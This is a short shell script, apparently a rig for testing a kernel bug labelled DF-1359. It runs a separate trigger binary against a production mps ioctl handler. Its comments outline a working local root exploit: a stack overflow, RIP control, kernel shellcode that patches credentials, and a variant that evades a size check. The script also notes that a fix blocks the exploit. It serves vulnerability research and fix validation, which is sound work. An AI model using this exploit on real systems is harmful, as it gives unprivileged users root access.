DF-1359 / rig_run.sh
#!/bin/sh # DF-1359 pass-3: drive the REAL production mps ioctl handler as an # unprivileged operator-group user (uid=2 gid=5). # # probe -> saved RIP = user-page kernel shellcode -> cred patch -> # swapgs+iretq -> userspace continuation with uid=0 # (SUCCESS: "DF1359_ROOT: uid=0" + root `id`) # evaded -> same, with RequestSize=96 which the post-hoc check at # mps_user.c:806 ACCEPTS (copyin at :802 already smashed) # rip -> saved RIP = 0x4142434445464748 -> Fatal trap 9 at # mps_user_pass_thru+0x62e: ret (guest dies; this is the # deterministic RIP-control proof) # smash -> RequestSize=4096 spray -> Fatal trap 9, frame pointer = # 0x4546474841424344 (guest dies) # dump -> print/disassemble the shellcode, no ioctl (safe) # # On a kernel carrying fix.diff: probe/rip/smash return EINVAL (bounds # check now precedes the copyin) and evaded returns ENOMEM (12-byte # copyin, proceeds to the command-less softc) -- the ioctl RETURNS, # the guest stays healthy, no escalation. set -e cd "$(dirname "$0")" su operator -c "$PWD/trigger ${1:-probe}" |